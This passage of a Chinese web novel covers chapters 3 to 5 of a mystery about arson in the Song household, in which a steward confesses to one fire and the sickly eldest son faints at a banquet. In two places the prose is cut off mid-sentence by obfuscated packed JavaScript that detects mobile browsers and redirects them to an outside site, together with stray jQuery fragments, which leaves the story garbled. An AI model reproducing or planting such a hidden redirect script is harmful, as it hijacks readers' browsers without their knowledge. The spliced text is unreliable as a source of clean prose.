“再看这屋子,堆积了不少沙石,底下又有如此厚一层的残布灰烬,可见这间小屋子在起火前原本堆满了物什,剩余空间应当十分狭小,如若失火,也该极慢才是,况且宋宅中人又因前二场火警惕颇高,断无可能顷刻便毁成这般残状,除非有助燃之物。” “在这里,最合适也最不易引人注目的,就是油。要使这一屋子东西较快烧起来,分量可不少,此人极有可能运来一整桶油,而空油桶也可在之后的大火中化为灰烬,不会留下痕迹,但他显然忘了——” 叶南扶抬起手,指向她手中拿的细铁条:“油桶上箍的一圈铁条可是很难在大火中湮灭的。” 殷烬翎凝眸看进叶南扶眼里,仿佛是想从中瞧出些什么来。 须臾,她笑了笑,道:“我以往在画本上见过,有人仅凭他人描述和极少的信息,足不出户就能窥见事件真相。” 她上前几步拍了拍叶南扶肩膀:“想不到你这讨债鬼,倒是有几分本事。” 叶南扶皱着眉头:“这什么怪称呼?” “讨债鬼难道不是事实嘛?”殷烬翎眨巴着眼,“不然你让我怎么称呼?” “你看,我比你大上一些,是不是该有点尊敬的称谓……”叶南扶眼神左右躲闪,“比如,哥哥什么的……” 殷烬翎顿时露出一脸嫌弃:“这死宅怕不是画本看多了吧,出来遇见个美少女就想让她叫哥哥。” “你是美少女吗?” “那你都多少岁了,还是哥哥嘛?” “那个……”宋季言在一旁弱弱地举手,“我们是不是先查案比较好……?” - 又在沙石堆里翻找了片刻,殷烬翎拿着另外两条长短不一的细铁条,丢到一起。 “应该全都在这儿了。” 她将之与先前找到的一段拼接了起来,确认是来自同一个油桶。 “这个油桶在起火时炸裂了,箍桶的铁条也俱是断裂,飞落到各处,才会在那些石块上留下划痕。” 她转头对一旁立着的宋季言道:“季言,昨日那本账簿可还在。” “在的。” 宋季言从怀中掏出昨日向刘管事借来的册子,递给殷烬翎,后者接过来瞧了瞧,忽然眯起了眼,伸手摸了摸纸面某处,微微翘了下唇角。 尔后,她倏地合上了本子,拉起宋季言:“走了,我大概知道引起这一场火的人是谁了。” 宋季言惊得瞪大了眼:“这就知道了?是谁是谁?” “嗯,只是……”殷烬翎顿了下,侧过头瞄了宋季言一眼,“暂时还不能跟你透露。” 旁观的叶南扶闻言,几不可见地挑了下眉。 3. 第 3 章 虽已入秋有些时日,但夏日的余韵却丝毫不减,闷热得好似不透风的岩洞一般,尤其是午后,重着无力的热风粘腻在身周,更令人神昏欲睡。 刘管事也不例外,忙碌了一上午的他。此时正伏在书案上做着午后第一个美梦。 刘管事年岁已过半百,在宋家做管事已有十五个年头了,可以称得上是宋家资历颇深的老人了,在宅子里做了这许多年后宋老爷一家已不将他当外人看待,刘管事的妻子儿子都被接入了府中,除了管理宅子外也委以不少外头铺子里的事务,甚至还予他一处铺子做自己的产业。宋大公子接受宋家产业后,也是刘管事尽力辅佐的,而自打大公子一病不起后,铺子便尽数由刘管事操持了。 半梦半醒间,刘管事隐约听到院落大门被敲得震天响,接着是一阵大呼小叫:“刘叔!刘叔你在吗?” 刘管事被惊醒了过来,尚不清醒地扶着额头往外走去,门外不出意料是宋小少爷,只是他身旁的人让刘管事不由一愣,随即颔首致礼道:“见过殷姑娘,昨夜那妖物纵火,多仰赖姑娘出手了。” 殷烬翎微一点头,笑道:“刘管事客气了,我受宋老爷所邀,本就是为了解决此事而来。” 寒暄了几句后,殷烬翎表明来意:“今日探查时有些许疑问不得解,听闻刘管事是这宅里的元老,对这里的事也最是清楚,才上这儿求解。” 刘管事乌黑的瞳仁稍稍动了动,笑容不改:“不敢当,殷姑娘问便是,刘某知无不言。” 殷烬翎视线移向身旁的宋季言,弯下腰拍了拍他的肩膀,温声道:“季言,我这儿有事与刘管事商议,你先到我住处那儿,寻那个讨债鬼去,我过会便来。” 宋季言对案情颇为好奇,犹豫着不肯离开。 “今天份的糕点在前厅矮几上。” 宋季言转身就跑,蹿得比兔子还快,只远远飘来一句:“早点谈完回来。” 殷烬翎看着宋季言跑远的身影耸了耸肩,转首将目光移向刘管事,意味不明地笑了笑,道:“那么接下来,我们就好好地谈一谈吧,刘管事。” 坐在前厅的客席上,殷烬翎以手支着头,不动声色地打量着周围,这处院落十分幽静,连虫鸣声都清晰可闻,刘管事端来的两盅清茶搁置在桌案一侧,正徐徐冒着雾气。 殷烬翎心下略略思忖了下,便收回目光,望向对首正坐的刘管事,开了口:“刘管事,我便不多客套,直入主题了。前几日那场火发生是在夜里没错吧?我能冒昧问下你当时——” 她忽然拖长了尾音,好整以暇地看向刘管事。 “可有听到什么动静?” 刘管事明显一愣,眼中有一瞬的呆滞,似乎她问的与自己预想中的不同,但他立刻回神,摇头道:“没有,那日起火前我一直在房里盘账,听外头有骚动才出去查看,这才发现起火了。” “哦?”殷烬翎一挑眉,“真没有别的动静?” 刘管事微不可查地皱了皱眉,面色也略沉了几分:“没有。” “好的。”殷烬翎点点头,从袖中取出一个书册,“刘管事,这个本子是你的吧?” “不错,这是记录宅邸大小事务的册子,昨日小少爷来问我拿还奇怪呢,原来是殷姑娘要用。” “我瞧了下,有几处疑问还望您解答。”她将摊开的本子推到刘管事面前,指着一处笔墨道,“这是全宅邸的油桶运至厨房后的仓库统一贮藏那日的记录,没错吧?” 刘管事定睛看了片刻,轻轻颔首,道:“不错。” “能否讲一下当日情形?” “那日……”刘管事皱起眉头回忆道,“家中仆从去各院将油桶运送来,我在仓库旁亲自清点入库,每一笔皆有记录在册,无一遗漏。” “无一遗漏。”殷烬翎咀嚼了一遍这四个字,挑眉,“当真?” 刘管事目光有些闪烁,眉心紧紧拧起:“我一直未离开仓库,只消是仆从运来的油桶,已尽数记录入库,这一点绝无遗漏。” 言下之意很明显,至于仆人中是否有心术不正者私藏,他便不明了了。 殷烬翎又道:“一直未离开?不用餐也不歇息么?” “油桶虽多,可彼时宅内仆从也众多,大约自未时始,酉时三刻便全数运完了。” “那么……”殷烬翎再次将册子推至刘管事面前,“请解释一下吧。” 说着,她伸出食指在某处字迹上用力一擦,指腹上立时沾上了一些细小黑色的墨颗粒,而擦过的字迹也显得淡了些许,而且这几处字迹显得浓淡不均,与前面的记录一对比便能发现。 她抬起食指示与刘管事,道:“你说你未离开过,可这笔墨告诉我,你不但离开过,还离开了挺长一段时间,久到砚中墨汁尽数干涸,于是又加水少许研磨,但过于匆忙,以致于干结于砚底的墨块未能磨至精细,写就的字上便带有这些未磨开的墨块颗粒,而前面的字迹却是没有的。” 她头一歪,略带深意的目光看向刘管事。 “那么你告诉我,你去哪里做什么了。” 刘管事紧盯着面前已不再散发热雾的茶水,一言不发。 “回答不了嘛?不然,我换个问题问吧。”殷烬翎状似若无其事地笑道,“前几日那场火发生时,你去了哪里?” 不待刘管事有所回应,她便接着说了下去:“啊,我可能忘了告知你一件事,起火的那日晚上,你的院落里闯进了一只猫,还将院墙顶上的屋瓦踩塌了几片。” 她伸手指向院墙上一处瓦片缺失之处:“几名仆人为了捉住它,甚至还来敲过你院落的门呢。” 她缓缓站起来,好整以暇地斜睨着刘管事:“你是太专心没听见嘛?” - “怎么还不回?”宋季言拿起盘子里最后一块糕点,不时朝外头张望两眼,道,“同刘叔有什么事能谈这么久。” “还能做什么,审问呗。” 叶南扶懒懒地斜靠在床榻边沿的雕花扶栏上,手有一下没一下地揉着熟睡着的火婴毛绒绒的头发:“不然敲竹杠?索要封口费?” “啊?什么审问?”宋季言一脸懵逼地挠头。 “哦,她没同你说啊,那姓刘的就是第三场火的纵火者啊。” 宋季言愣愣地咂巴着嘴,好一会儿才反应过来这句话的意思,顿时惊成了猫叫:“喵喵喵?” 先前被蹂躏了许久也不见有转醒迹象的火婴,在宋季言的惊叫声下动了两动眼皮,叶南扶见状迅速收回揉火婴的手,盯着火婴瞧了片刻,见它只是动了动便再没下一步动作,又放心地将手放了回去继续揉。 “怎么回事啊,是不是搞错了,刘叔怎么会成了纵火的?是不是因为刘叔在起火前堆了那么多油桶,所以对他有什么误解啊。” “没有误解。”叶南扶摇摇头,“在府里把守森严的状况下,要将一整桶油运到那间远离主屋的杂物房,而不引起任何人的注意,这显然有些困难,所以那位刘管事想出了一招藏木于林,号令府内仆众将油桶集中放置,实则借仆从们运送油桶之际,稍加乔装混入其中,将油桶运至意图纵火之处,再等夜深人静之际便可点火。” 宋季言微微张着嘴,似是不敢置信,毕竟是相处了多年的管事,骤然听闻真相惊诧万分,以至于有些排斥:“你这么说,有什么证据吗?” “没有。” 此一言又惊得宋季言险些跳起来,惊声重复道:“没有?!” “那间杂物房烧得很彻底,除了油桶上的铁条之外,没有留下任何指向性的证据,他完全可以声称,纵火者是当时运送油桶的仆从中的某人。” “硬要说的话,那本记录簿上前后不一的墨迹勉强算一个,但这只能说明他在油桶入库的中途曾经离开过,至于去往何处,行了何事,这些都没有实证。他若是辩解称,自己想起来另外的事,于是离开了一下,根本拿他毫无办法。” “所以,她现在唯一能做的,就是让对方亲口把证据说出来。” - 殷烬翎抬手将东西扔上了桌案,铁片碰撞在桌面上,发出“铛”的一声。 刘管事被这一声惊得身子颤了颤,直直盯着那铁圈,好半天不敢伸手拿过来瞧。 “怎么不拿起来看看,不好奇这是什么嘛?”殷烬翎似笑非笑,“也对,刘管事只怕第一眼就认了出来,这正是前两日你搬去起火处的,那个油桶的残片。” 紧接着,殷烬翎手一挥,凭空出现一幅刘管事的影像来。 “这是追索之术,所呈现的是最后一位接触该物的人。”殷烬翎异常平静地望向刘管事,“你还有什么要说的。” 刘管事目光有片刻的挣扎,最终还是败下阵来。 “是我做的。” 听闻此言,殷烬翎暗暗松了口气。 哪有什么追索术,不过就是普通的显像罢了,但凡稍微接触过仙家的人估计都不会信这个。当真有这种法术的话,查案哪还用这么劳心费力地找线索推理啊。 刘管事将油桶集中安置这一举动实在太过醒目了,而这之后立刻就发生了第三起火灾,根本没有那么多巧合。 “我……我是想烧一些账簿。”刘管事垂下头,“先前由于城里邪火谣言四起,铺子生意很是不景气,老爷有意转让城东的两间铺子,嘱我清点好账簿与他过目,但那些账目里……” “有你平日吞的油水是吧?”殷烬翎接话道。 刘管事闭了闭眼,艰难地承认道:“是。” “老爷只给我三日时间清点,根本来不及填补空缺,我只能出此下策。” “我依着前两场火,顺势放了第三把火,把那些有问题的账簿都一道烧毁了,老爷果然被接连起火转移了注意,都没心思再管我要账簿了,等老爷处理完这次起火的事,账目的空漏估计也能抹得差不多了。” 殷烬翎冷哼一声,问道:“那前两场火呢?” “我不知道前面两次是怎么回事。”刘管事慌张地连连摇头,“但那些真不是我干的。我只是想躲老爷查账罢了,账簿这么点东西烧一次就够了,没必要连放三把火吧?” - 宋季言站在门口,不时绕着柱子转两圈,焦急地跺脚。 然而没等到殷烬翎,等来了一个小厮。 “小少爷,老爷喊您过去呢。” 宋季言用力摇摇头:“你让我爹等会,我还要等殷姐姐回来,亲口告诉我刘叔不是纵火的嫌犯。” “可是……刘管事刚刚在老爷面前承认了罪行,被老爷罚了关禁闭。”小厮摸摸后脑勺,不解道,“就是他放的第三场火。” 宋季言倒退两步,后背撞上了廊柱,险些摔倒在地。 小厮忙上前去扶,宋季言却一把挥开小厮, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15626885|172410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冲到叶南扶跟前,伸手扯住正揉着火婴头发若有所思的叶南扶。 “这事肯定还有隐情吧,你们不是只查了第三场火吗?前两场火还不知道什么情况,刘叔他……” 叶南扶知道宋季言还想说什么,直接打断了他:“隐情是有的,事情也还没结束,但是……” “你口中的刘叔是犯人这点已不会存疑了。” 他看着宋季言的眼睛,里头原本闪着些许晶亮的光,在听到他斩钉截铁的答复后,那些闪烁的光芒渐渐黯淡了下去,灰败的眼瞳中写满了失落和窘迫。 宋季言低下了头,不发一言,叶南扶便也不出声。 小厮过来,与叶南扶告了声罪,搀着宋季言离开了。 眼见着两人走远了,叶南扶才斜斜睨了眼窗外,没好气地开口:“行了,坏人也帮你做了,别躲着了。” 话音刚落,窗户被从外头打开,殷烬翎翻窗而入,朝叶南扶苦笑:“我最不擅长安慰人了,看到他人因为真相伤心难过,我就会说不出口。” 叶南扶抬抬眼皮,瞥了她一眼,往后靠了靠,道:“所以呢,审问结果。” 提到这个,殷烬翎眉梢便飞了起来:“怎么说呢,算是成功了吧,那老家伙多少是交代了一些,我早说了,我这个方法天衣无缝,定能让他主动坦白。” “哦?我怎么记得某人去之前思虑再三,还颇不自信地犹豫了许久啊。”叶南扶毫不留情地拆穿。 殷烬翎扬起的眉头僵了僵,撅嘴道:“那也没办法啊,毕竟没有实证,只能诈供。我把他院落围墙的屋瓦弄塌了一块,骗他说起火当晚有只猫闯进了他院子。” 叶南扶“噗嗤”笑出了声。 殷烬翎咬牙切齿地瞪他,忿忿道:“不管怎么说,我好歹是问出结果了。” “嗯嗯。”叶南扶随意地点点头,“很棒很棒。” 殷烬翎磨了磨后槽牙,觉得很是不爽。 “他为何纵火?” “隐瞒假账。” 殷烬翎将刘管事所言复述了一遍,叶南扶听了垂眸沉思良久,安静得宛如一弯清冷的残月,让人几乎忘了他平时行径有多恶劣。 殷烬翎一手撑着头,一瞬不瞬地打量着这位沉思时气质斐然,一开口就会形象崩塌的…… “不对,恐怕下结论还为时尚早。” 叶南扶蓦地开口惊醒了思绪正在天外游荡的殷烬翎,她尚有些懵,等她将游荡的魂儿唤回来,重新能够思考时,叶南扶猝不及防问了一个问题。 “你想想,你最初是因何起疑,注意到这第三场火略有不同?” 殷烬翎一愣,脱口而出:“自然是因比起前两场火,它远离水源又火势凶猛,像是意图隐藏什么,非将其烧尽不可……”说着,她突然一怔。 “你也发现了吧,如果仅是为了转移宋老爷视线的权益之举,何不同第二场火那般稍微点些火便罢?那些假账的证物也不过一些文书契约,小火足以使其湮灭殆尽,诚如此,他又何需冒着暴露的危险运那一桶油过去,究其根本,若非这一桶油,你原也揪不出他来。” 殷烬翎紧抿着唇,面沉如水,只拧着眉头一言不发。 良久良久,久到叶南扶以为她不会再开口,于是揉了揉靠坐得有些僵硬的腰,打算起来觅食的时候,她开口了:“确是如此,是我考虑不周,险些教他的话蒙蔽了去。”末了,顿了顿又道:“如此说来,这些供词可信度还需得仔细揣度,包括他所言,对前两场火一概不知之事。” 叶南扶失望地关上橱柜——没觅到食,闻言也只胡乱点了点头,转头瞧见殷烬翎不知从哪儿弄来一小包瓜子,正一边自顾自地说着话边心不在焉地嗑着,叶南扶干瞪了几眼,最终也没说什么,回去榻上窝着了。 沉浸在案情中的殷烬翎自然对此浑然未觉,只是略感奇怪地瞥了眼蜷回床上、背对着她不吭声的叶南扶,便兀自说道:“现下仔细琢磨,先前我对刘管事所供述的不多思索便轻信的主要原因,在于我以为他既已认下这桩罪行,结果已定,又何必在别处加以谎言迷惑,如今想来,未免过于轻率。他在此时仍然扯谎的原因只有一个,他在隐瞒一桩更大的罪行,这个罪行也许比放火与伪造账目更严重,甚至有可能……” 一个可怕的猜想在她心里呼之欲出,她摇摇头暂将这想法搁置一边,望向榻上缩着的叶南扶,问道:“你有何想法?” “没有,麻烦是宋家的,酬金是你的,横竖不关我事儿,我能有甚想法不成?” 殷烬翎被如此一堵,不免气结,然而倒也不无道理,没法反驳,心里有些纳罕:方才不好好好地分析案情么,怎地突然又这模样,喜怒无常的怪人! 她暗自腹诽,吐出几片瓜子皮,又送了一颗到嘴里。 “磕磕”的声响令叶南扶不胜其烦,拉开被子捂住了耳朵。 殷烬翎拍拍手,将瓜子壳丢进空盘子里,望着榻上埋在被子里的叶南扶,道:“今夜宋老爷设宴招待我,为了答谢我降服火婴,你可想去?” “设宴?”叶南扶掀开被子坐起来,“倒也并无不可,见见宋家其他人也对查案有所助益,我便同你一道去吧。” “那一个时辰后,换身衣服同我去赴宴吧。” 她抬眼看着重新惬意地靠在床头摸火婴的叶南扶。 怎么感觉他心情又好了?真是怪人。 4. 第 4 章 厚重的夜幕如常降下,意欲如前般将一切声响都尽数扼住,但这一夜的宋家却没有一如往常的寂寥与沉闷,反而多处院落都燃起了火红的灯烛,虽因仆从较少之故,这喜庆的红焰并未遍及宅邸所有院落,但已然足够当得起宋家遭遇邪火的这些日子以来,最大的喜事排场了。 许是因为宋老爷觉得家里连日来光景不佳,需要办一场喜事去去晦气,送走作乱多日的妖邪,因此规制远远超出了一般答谢宴。 殷烬翎甫一跨进到正厅,不动声色地将眼珠子在眼眶里打了个转,把周围的布置尽收在眼底,不由心下暗自得意。 不过擒了只火婴便有如此派头的答谢宴,人间可真是个好地方啊,最喜欢替这些富商权贵做法除灵了,这种工作真能开张吃三年呐。不过…… 她微微偏头,瞄了瞄跟在身后的某个人,见他与自己那种故作镇定实则目光飞转不同,是真正的目不斜视,对周围华彩灼人的奢靡布置连一丝余光都懒得赏赐,不由心下疑惑。 这讨债鬼,刚才几次三番问我宴席的时间,我还当他想开开眼界。现下这浑不在意的模样,难道说,他实际上家底颇丰? 想着先前误入无生界时,虽然一门心思都在追捕火婴上无暇旁顾,但总归瞟到过几眼周遭环境,只记得那处虽挂着一轮诡异的血月,一眼望去风景却甚是清新怡人,莫非竟是他家后花园? 殷烬翎回忆着在无生界的所见,却不料一眼不见,身后的叶南扶早已径直越过了她,随意寻了处就近的席位便落了座,她忙快走几步,在他边上的位置坐下。 两人到的时候,宋家主要的成员都到了,酒水零嘴也都已摆上了桌案,琳琳琅琅摆满了一桌。 殷烬翎抬手贴到嘴边,凑过身去偷偷问叶南扶:“我先前误入无生界时,那地方是你家嘛?” 叶南扶往嘴里扔了一颗炒腰果,咬得咔咔脆响,道:“是啊,那整个山谷都是我的。” 这么有实力? 殷烬翎吃惊,又问:“我记得那地方连御剑都御不了,你平日出行,到家门口都得走半天吧?” “不出行啊。”叶南扶咬了一口糕点,“出去做什么,在家躺着看画本子不好吗?” 鉴定为高纯度死宅,居然还是喜欢画本的同好。 “那你一直家里蹲,买画本的钱怎么来的?” “我家山谷里盛产一种奇异的石头,市面上存量极少。”叶南扶伸手去拿殷烬翎面前的冬枣,“没钱了就敲点石头拿去卖。” 原来家里有矿!那你做什么要讹我一个颠沛流离的穷苦除灵师的血汗钱! 殷烬翎嫉妒并着愤懑,不由面目狰狞。 我也好想过上每天躺着看画本,什么都不用操心的日子,呜呜,为什么人要工作。 想到这里,她忍不住恶狠狠地瞪了叶南扶两眼。活得这么舒服,就该把他抓出来外面过过苦日子。 “?”叶南扶嚼着满嘴的杏仁,皱眉歪头看着她,从鼻子里发出疑问的音节。 “两位道长,宋某敬二位一杯。” 两人齐齐转头,却见宋老爷带着位托着酒盏的仆从站在殷烬翎边上,想是来向她道谢的。 殷烬翎目光略微在宋老爷身后的仆从上转了转,并不是先前常跟随宋老爷左右的刘管事。眼下这谢宴要谢的,除了抓捕火婴,约莫还算上了刘管事那事儿。 殷烬翎不敢喝,她酒量一杯倒,便只能以茶代酒谢过了宋老爷好意。 然而喝完茶一坐下来,她便疑心起自己是不是喝错了喝成酒了,不然怎么会看到面前桌案上盛糕点炒货的几只盘子全空了呢? 是幻觉嘛?她伸手过去摸了摸。 嗯,不是幻觉,是真的空了……没幻觉就好…… 不对! 她瞧了一眼正拈着块糯米糕往嘴里送的叶南扶,只觉得太阳穴砰砰跳得厉害。 不是,我们落座后有一炷香的功夫嘛?他怎么能瞬间吃完那么多! 他先前再三问我开宴时间,原来期待的是这些糕点零食嘛?对华丽气派的布置视而不见是因为他眼里只有这些嘛?他原来不是讨债鬼居然是饿死鬼来着嘛?他根本不是乘黄,他分明就是是饕餮吧!而且还是饿了几万年的那种! 叶南扶却对此恍若不觉,任凭邻座殷烬翎的满心腹诽和看着他一脸见鬼似的表情,不声不响地顷刻便又搬空了两个干果盘。 殷烬翎闭上了眼,扭过头,一副不忍再看的沉痛表情。 再这样下去往生界的食物都会被他消灭一空的!到时候我就是毁灭往生界的罪人! 所幸接下来的一件事吸引了她的注意,好让殷烬翎暂时把对往生界食物短缺的担忧抛到了脑后,将探究的目光投向正厅大开的门口。 与门两侧明艳喜庆的火红装饰迥然不同,正中央站了一个苍白纤弱的锦衣青年,说是站着,实际两股频频打颤,靠一只瘦弱的手紧攥着门框才勉强站立,他面颊瘦削,两颧有点凹陷,更显目睛突出,眼圈下是深深的青痕。 这眼下的青痕——似乎跟某人如出一辙啊。 殷烬翎眼光往身侧一转,却惊异地发现他不知什么时候已然停下了嘴下的事业——虽然比起刚才又多了一个空的酥饼盘——不过这不是关键,只见他神色认真地看向那个青年,突然站了起来,道:“宋大公子?” “乔儿!” 原本坐在上首宋老爷身旁的宋夫人连忙告声罪,离席来到门口,上前扶住似乎摇摇欲坠的宋大公子,关切地责备道:“不在屋里好好修养,跑这儿来做什么?仔细待会儿又受了风寒。” 说着抬起头提高声音朝旁边的婢女仆从喝道:“都愣着做什么,还不快把大少爷扶回屋里去!大晚上还敢让大少爷出来受风,若有什么差池你们可担得起?” 宋大公子按住母亲的手,冲她摇了摇头道:“没事,母亲。莫要责怪他们,他们已经阻拦过我了,是我自己非要出来的,况且就这么一会不打紧的。”说罢,便有两个婢女上来一左一右搀住他往正厅里边走。 叶南扶慢慢坐回了原位,神色间似乎有所思虑,也不重新开吃,殷烬翎见状颇有些疑惑地托腮将他望着。 那厢两个婢女已经将宋大公子扶至座位上落座,他人还没坐稳当,宋季言欢快地“哒哒哒”跑了过来,叫道:“大哥!真的好久没见你出来走走了,整天闷在床上都长蘑菇了吧?” “言儿!”宋老爷呵斥道,“没大没小的,别老想着怂恿你大哥出来,他身子还没好,出点什么事仔细你的皮!” 宋季言无趣地撇撇嘴,索性寻了宋大公子身旁的位置一屁股坐下来。 宋大公子抬手揉揉宋季言的头,不知低声说了句什么,只见方才还一脸不快的宋季言登时乐了起来。 宋季言只怕还记着刘管事的事,开宴前都没来与她打招呼。 殷烬翎托着腮望着桌案那侧的宋家兄弟俩,心里略微有点酸溜溜,冷不防肩头被人拍了一下,她不大乐意的偏了偏头,赏了一眼过去,见叶南扶又往嘴里扔了块芙蓉糕,边嚼着边含糊不清地问:“这位宋大公子,你知道些什么?” 怎么还能吃啊!殷烬翎心底里声嘶力竭地喊。 她长长叹了口气,道:“如你所见,我又不是宋家的人,不过比你早来一天罢了,还能比你多知道些什么?我只知道宋大公子名宋伯乔,正而立之年,原先宋家的生意都是他在打理,据说在两个月前的第二场火后,因家中事务繁多外加生意败落,操劳过度一病不起,平日都鲜少出来走动,我今次也是头一回见到。” 叶南扶闻言略略沉吟了下,忽然微微一笑,这笑仿若月朗星稀的夜幕中骤然盛开的一朵璀璨烟花,令人一时竟晃了眼,待到殷烬翎回过神,叶南扶只丢下一句“不如我去问问”就起身,大步朝宋伯乔席位那处走去。 殷烬翎阻拦不及,再者她其实也对这个先前一直未曾露面的宋大公子有些好奇,便忙起身也跟了过去。 宋季言见两人过来便皱眉鼓起了腮帮子,殷烬翎心知他还在意刘管事那事儿,在跟他们赌气,一时脚下有些踌躇。 叶南扶却不管这些,一指戳在脸鼓成河豚状的宋季言脸上,令他“噗”的一声气泄了个精光,又用手臂圈住宋季言的脖子,把小孩跟个鹌鹑似的往桌案边上挤了两挤,抢了大半个座位,迎着宋伯乔投来的惊异目光,开口道:“宋大公子,幸会幸会,方便请教一些问题吗?” 宋伯乔显然有些搞不清状况,怔怔地道:“啊,可以……” “听闻大公子尚有恙在身,鲜少出来走动,今日不顾夜风露重行动不便也要出来,是为何事?” 宋伯乔垂了眼,声音细弱地缓缓道:“听闻前几日夜里又起火,幸得家里请来的道长捉住了那四处纵火的妖邪,伯乔不由心生感激之情,故而想来拜会一下道长。” “这样啊……”叶南扶目光下落在宋伯乔微垂的双目上,幽黑的眸光加深了些许,忽而语调一转,轻快道,“哎,不瞒你说,这妖邪远没看着那么好对付,为了抓住它我也是废了好大一番功呢!” 抢我功劳?殷烬翎登时瞪大了眼,有些气结。 不过这叶南扶自认识以来,成天都软成一滩水懒得动弹,难得来了兴致亲自来问,总 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15626886|172410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 归不会只是想抢点功劳这么简单的事吧?再说彼时捉拿火婴在众目睽睽之下,功劳要真这么好抢就好了。因此,虽然此时内心非常不悦,但她选择抱臂静观,并未上前去戳穿叶南扶。 “失敬失敬。”宋伯乔缠绵病榻日久有些站不起来,只得坐着作了个揖,“原就觉着公子面生,心下有些猜测是否是那位道长,但家中平日亦有些往来之客,还道是我久卧病榻消息闭塞了些,怕唐突了道长,故而未有出言相问,还望道长恕伯乔失礼。” “无妨无妨,真要说还是在下先唐突了大公子,大公子莫要见怪啊。” 叶南扶笑眯眯地说完客套话,眼神忽然瞥向大公子,再开口话语里已然没了笑意:“不过大公子啊,你这消息也着实闭塞了点,显得你的致谢怪没诚意的。” 他突然凑近了些,令宋伯乔有些猝不及防,下意识往后躲。 “你若当真心怀感激,为了拜会一下道长才踉跄出门,又为什么连道长是男是女都没打听一下?” 宋伯乔本就苍白的病容似乎又添上一层,全无血色的唇瓣抿了又抿,颤声道:“道长……此言何意?” “何意?不如让他来告诉大公子吧。” 说着,叶南扶松开圈住宋季言的手,让被挤得努力在夹缝中生存的宋季言缓了口气。 前头的对话宋季言自然是听了个全,只不过苦于无法插话,已然“唔唔”作声了半天,此时好不容易重获自由,立刻边挣脱叶南扶的手边道:“大哥,他就是个欺世盗名的骗子,他只是跟着来的,什么忙都没帮过,你后面那位道姑才是家里请来的道长,那妖物也是她……” 殷烬翎冲他露出了地狱般的笑容。 宋季言不由咽了一下口水,把后面两个字补完:“捉的……” 好啊,跟她赌气,又改叫道姑了是吧? 宋季言低下头不敢看她,收拢手脚站直,无声无息地慢慢挪离了战场。 不过眼下,殷烬翎显然无暇在宋季言的称呼上过多纠结,她赶忙几步上前,向宋伯乔略施一礼,道:“清霄山天璇门殷烬翎,应令尊之邀于昨日来此除灵,这位乃在下的助手,方才多有失礼,还望大公子见谅。” 宋伯乔面白如纸,一个字也说不出来。 “谁是你助手?”叶南扶却不满意了,站起来凑在殷烬翎一旁低声道,“这么介绍你债主不怕我多收点利息?” “一个假托而已,忒的讲究。”殷烬翎压低声音从牙缝里挤出几个字。 “这可不是假托,你是真欠我钱。” “我呸,你就一碰瓷的,讹上我还没完了。” “碰瓷?我现在为什么在这里你心里还没点逼数吗?” “呃……”一说起这个殷烬翎就心虚,但是输人不能输阵,还是硬着头皮道,“你在家里也不知道宅了多少万年了,多不利于健康啊,偶尔出来走动一下也是必要的吧。” “哇,你说这话可还有良心吗?” 还未待殷烬翎再说什么,叶南扶忽然抬起一手横在她嘴前示意噤声,她下意识屏住了呼吸,仰头朝叶南扶看去,只见他正看向前方的宋伯乔,而后者神色比之方才的惨白已有些许缓和,嘴唇翕动,似乎欲言又止。 叶南扶像是看穿了他内心想法似的,适时开口提醒:“奉劝大公子想好再开口,倘若话中再有什么不妥之处被揭穿了,大家面上都不好看,这些道理大公子理当再清楚不过。” 宋伯乔闻言身子颤了两颤,略略恢复的脸色瞬间又白了个干净,头低得不能再低。 殷烬翎瞧着这噤若寒蝉的模样,不由同情起宋伯乔了,觉着叶南扶是不是把人逼得稍微过分了点,正打算开口劝叶南扶几句顺便打个圆场,刚稍稍上前却不防抵上了叶南扶还横在前头未放下的手,柔软湿润的唇触上了温热的掌心,惊得殷烬翎浑身一僵,慌忙合上嘴咽回正要出口的话,温软的唇却一不留神在对方手心摩挲而过。 这下她一动也不敢动了,呆立在原地不知所措。 然而,她忽然觉得唇上的手微微发颤起来,对方像是也僵住了一般,动也不是,不动也不是。 叶南扶轻咳一声,语声平静和缓:“依我看,无论你我怕是都不够格劳得动大公子,如若我猜的没错,大公子此次挣扎着下床,当是为了你前几日捉的那火婴。” 仿佛诸事不关于心的平淡声音,若不是那手心的颤抖还在持续不断,殷烬翎几乎以为什么事都不曾发生。 当她将眼珠向上瞥去时,瞧见他微红的耳垂似一枚娇艳欲滴的果实,标明了他这份有如湖面般平静的情绪,悄然裂开了一条缝。 5. 第 5 章 叶南扶这本该是威胁的话语,用平平无奇的语调说来,反倒更显几分压迫感。 至少宋伯乔是真的被吓住了,也许话中某些内容正中他深藏于心的难言之隐,又或许从方才起就压抑的气氛令他透不过气来,只见他脸色愈来愈难看,周身颤抖不止,蓦地目睛泛白,竟是昏厥了过去。 这下可不得了,宋伯乔倒下的“哐啷”一声响,将先前各自忙碌或者闲聊的宋家众人的目光齐齐吸引了过来,见原先还好端端坐着的宋伯乔连人带椅直挺挺倒在地上,俱是吓得心胆俱裂,登时抛下手头的事,尽数朝此处涌了过来。 “大哥!” “乔儿!” “大少爷!” 叶南扶显然也被这突如其来的变故搞懵了,转头一眼见整个厅里的人都向自己涌来,瞠目结舌,连连摆手道:“不不,我不是,我没有……” 